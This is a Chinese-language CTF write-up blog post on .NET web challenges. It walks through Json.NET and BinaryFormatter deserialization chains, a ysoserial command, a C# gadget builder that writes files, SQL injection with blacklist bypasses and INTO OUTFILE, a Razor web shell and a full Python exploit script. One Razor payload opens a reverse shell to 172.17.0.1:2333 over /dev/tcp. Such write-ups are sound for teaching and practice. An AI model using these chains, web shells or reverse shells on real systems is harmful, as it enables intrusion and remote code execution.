dotnet in CTF

dotnet in CTF

suctf2025 ez_dotnet

https://github.com/team-su/SUCTF-2025/blob/master/web/sujava/writeup/README.md

image.png

image.png

image.png

使用json.net反序列化,然后思路是需要通过上面两个getter到达sink点的反序列化

存在一条新链子(也快两年了)PropertyGrid,他的SelectedObjects setter中可以调用obj的所有getter

然后json.net也会像fastjson差不多的类型转换,”$type”:”Evil, Program”表示这是一个Evil类

{
         "$type":"Evil, Program",
         "SerializedValue":"AAE...."
}

这样表示一个Evil对象

把这个Evil对象放入SelectedObjects数组中,会调用Evil的所有getter

最后的BinaryFormatter反序列化就像wp中说的坑点其实都在mono上,首先mono 相当于重写了.NET 4 ,有许多链子是打不了的

使用TypeConfuseDelegateMono

ysoserial.exe -f binaryformatter -g TypeConfuseDelegateMono -c "touch /tmp/pwned" --rawcmd -o base64

image.png

明明看配置文件没有什么不出网,但是我写出网命令总是不行,算了不纠结了,这不是重点

DASCTF X HDCTF 2024 ez_dotnet

image.png

image.png

image.png

https://exp10it.io/2024/02/dotnet-serialization-binder-bypass/

走return null存在利用

image.png

image.png

然后就看如何使用这两个的transform方法

然后感觉就是大b哥blog里写的链式调用

image.png

但是我顶多知道链式调用三次进行实例化,但最后一步如何调用ToString就不会了

2022春秋杯冬季赛 ez_dotnet

https://cn-sec.com/archives/1496300.html

image.png

image.png

/api/UserLoad存在反序列化

image.png

image.png

看OnDeserialized反序列化后的处理,需要反序列化的key匹配后才能走到Compare函数

跟进这个成员发现,改成员是静态的随机key,如果在程序启动后对应的泛型一致的key是一样的,例如 ComparerData<string>.key每次得到的都一样,刚好在登录的地方是获取的string类型的key,所以我们成功登录后就能获取到string类型的key值

image.png

image.png

然后Compare中有委派和反射,这个就是sink点

image.png

反射这里是获取的公共的,静态的,并且可以传递两个参数,且类型是string 的函数,委托那里限制了只能是没有返回类型的函数

程序开头提示可以写文件

image.png

分解一下写文件payload好理解一下

using System.Reflection;
using System.Runtime.Serialization.Formatters.Binary;
using WebLibClass;

//反射修改属性的值
static void setField(Object o,string name,Object value)  
{  
    Type type = o.GetType();  
    type.GetField(name,(BindingFlags)System.Enum.ToObject(typeof(BindingFlags), 0xfffffff)).SetValue(o,value);  
}

--------------------------------
//主程序

AppContext.SetSwitch("Switch.System.Runtime.Serialization.SerializationGuard.AllowFileWrites", true);

//加载题目dll,才能使用里面的类
Assembly assembly = Assembly.Load(File.ReadAllBytes("WebLibClass.dll"));  
Type type1 = assembly.GetType("WebLibClass.ComparerData`1+ClassMethod[[System.String, System.Private.CoreLib, Version=6.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e]]");
Console.WriteLine(type1);
//实例化
Object o = Activator.CreateInstance(type1,null);
setField(o,"Classname","System.IO.File");
setField(o,"Methodname","WriteAllText");

Type type2 = assembly.GetType("WebLibClass.ComparerData`1[[System.String, System.Private.CoreLib, Version=6.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e]]");
IComparer<string> cp = (IComparer<string>)Activator.CreateInstance(type2,null);;
setField(cp,"c",o);
setField(cp,"isVoid",true);    
Console.WriteLine(type1);

//序列化
BinaryFormatter soapFormatter = new BinaryFormatter();
using (MemoryStream stream = new MemoryStream())
{
    Gadget<string> g = new Gadget<string>(cp, "/tmp/aaa", "aaaaa");
     //key获取部分得到的key
    setField(g,"key","12af384cdc7343258c4cb44b10feaa13");
    soapFormatter.Serialize(stream,g);

		//查看序列化后base64的内容
    Console.Write(Convert.ToBase64String(stream.ToArray()));

    stream.Position = 0;
    stream.Close();
}

/admin 路由没有访问过,但是存在模板渲染的操作,所以我们可以结合上面的反序列化到文件写入

Razor的模板渲染(加入点注释,记得去掉)

@{

//加载程序集,跟显示引用using System.Diagnostics差不多
System.Reflection.Assembly assembly = System.Reflection.Assembly.Load("System.Diagnostics.Process, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");

//然后就是正常反射然后执行
Type type = assembly.GetType("System.Diagnostics.Process");
System.Reflection.MethodInfo method = type.GetMethod("Start",System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.Public,new Type[]{typeof(string),typeof(System.Collections.Generic.IEnumerable<string>)});
Object obj = assembly.CreateInstance("System.Diagnostics.Process");
Object s = (Object)method.Invoke(obj,new object[]{"/bin/bash",new string[]{"-c","bash -i >& /dev/tcp/172.17.0.1/2333 0>&1"}});
WriteLiteral(s.ToString());
}

替换成这样就行

Gadget<string> g = new Gadget<string>(cp, "/app/static/error.html", "@{ System.Reflection.Assembly assembly = System.Reflection.Assembly.Load("System.Diagnostics.Process, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");\\nType type = assembly.GetType("System.Diagnostics.Process");\\nSystem.Reflection.MethodInfo method = type.GetMethod("Start",System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.Public,new Type[]{typeof(string),typeof(System.Collections.Generic.IEnumerable<string>)});\\nObject obj = assembly.CreateInstance("System.Diagnostics.Process");\\nObject s = (Object)method.Invoke(obj,new object[]{"/bin/bash",new string[]{"-c","bash -i >& /dev/tcp/172.17.0.1/2333 0>&1"}});\\nWriteLiteral(s.ToString());\\n}");

2025软件系统半决赛 razorcor

https://blog.zeroc0077.cn/software2025-writeup/

image.png

但是数据库没有dartroot用户

image.png

代码存在sql注入

image.png

但是有黑名单

image.png

image.png

通过 \\ 对 username 后面的单引号进行转义,于是 SQL 语句就会变成:

select username from userlist where username='\\'and password='password’

而 password 也可控,就可以进行 SQL 注入了。

(绕过黑名单根本不会呜呜呜)

通过 replace 关键字可以写入 table,或者通过 prepare + hex 编码来绕过执行 SQL 语句都行。

完成 dartroot 用户的插入后需要写一个 razor 的模板进行 RCE

@{
    var cmd = Context.Request.Query["cmd"];
    System.Diagnostics.Process p = new System.Diagnostics.Process();
    p.StartInfo.FileName = "/bin/bash";
    p.StartInfo.Arguments = $"-c {cmd}";
    p.StartInfo.RedirectStandardOutput = true;
    p.StartInfo.RedirectStandardError = true;
    p.StartInfo.UseShellExecute = false;
    p.StartInfo.CreateNoWindow = true;p.Start();
    var stdout = p.StandardOutput.ReadToEnd().Replace("<", "&lt;").Replace(">", "&gt;");
    var stderr = p.StandardError.ReadToEnd().Replace("<", "&lt;").Replace(">", "&gt;");p.WaitForExit();
}
<pre>@stdout</pre>
<pre style="color: red">@stderr</pre>

exp使用concat+chr编码绕过黑名单

def strtochr(string):
    tmp = ",".join(f"chr({ord(i)})" for i in string)
    res = f"concat({tmp})"
    return res
import urllib.parse
import requests
import html

def strtochr(string):
    tmp = ",".join(f"chr({ord(i)})" for i in string)
    res = f"concat({tmp})"
    return res

s = requests.Session()
target = "<http://127.0.0.1>"
resp = s.get(url=target)
assert resp.status_code == 200

# 插入dartroot用户
username = "\\\\"
password = f";replace into userlist values ({strtochr('dartroot')}, {strtochr('123')});#"
payload = f"username={urllib.parse.quote(username)}&password={urllib.parse.quote(password)}"
resp = s.post(
    url=target + "/Home/Login",
    data=payload,
    headers={"Content-Type": "application/x-www-form-urlencoded"},
)
assert resp.status_code == 200

# 写入模板文件
shell = '@{var cmd = Context.Request.Query["cmd"];System.Diagnostics.Process p = new System.Diagnostics.Process();p.StartInfo.FileName = "/bin/bash";p.StartInfo.Arguments = $"-c {cmd}";p.StartInfo.RedirectStandardOutput = true;p.StartInfo.RedirectStandardError = true;p.StartInfo.UseShellExecute = false;p.StartInfo.CreateNoWindow = true;p.Start();var stdout = p.StandardOutput.ReadToEnd().Replace("<", "&lt;").Replace(">", "&gt;");var stderr = p.StandardError.ReadToEnd().Replace("<", "&lt;").Replace(">", "&gt;");p.WaitForExit();}<pre>@stdout</pre><pre style="color: red">@stderr</pre>'.encode()
write_file = f"select unhex(\\"{shell.hex()}\\") into outfile \\"/app/Views/Home/shell.cshtml\\""
password = f";prepare exp from {strtochr(write_file)};execute exp;#"
payload = f"username={urllib.parse.quote(username)}&password={urllib.parse.quote(password)}"
resp = s.post(
    url=target + "/Home/Login",
    data=payload,
    headers={"Content-Type": "application/x-www-form-urlencoded"},
)
assert resp.status_code == 200

# 使用dartroot用户登录,获取session,使下一步能够使用inform参数指定渲染的文件
payload = "username=dartroot&password=123"
resp = s.post(
    url=target + "/Home/Login",
    data=payload,
    headers={"Content-Type": "application/x-www-form-urlencoded"},
)
assert resp.status_code == 200

# 命令记得带",因为木马没有处理空格
cmd = "\\"cat /flag\\""
res = s.get(
    url=target + f"?inform=shell&cmd={cmd}"
).text
print(html.unescape(res[res.index("<pre>")+5:res.index("</pre>")]))

image.png


dotnet in CTF
https://zer0peach.github.io/2025/07/10/dotnet-in-CTF/
作者
Zer0peach
发布于
2025年7月10日
许可协议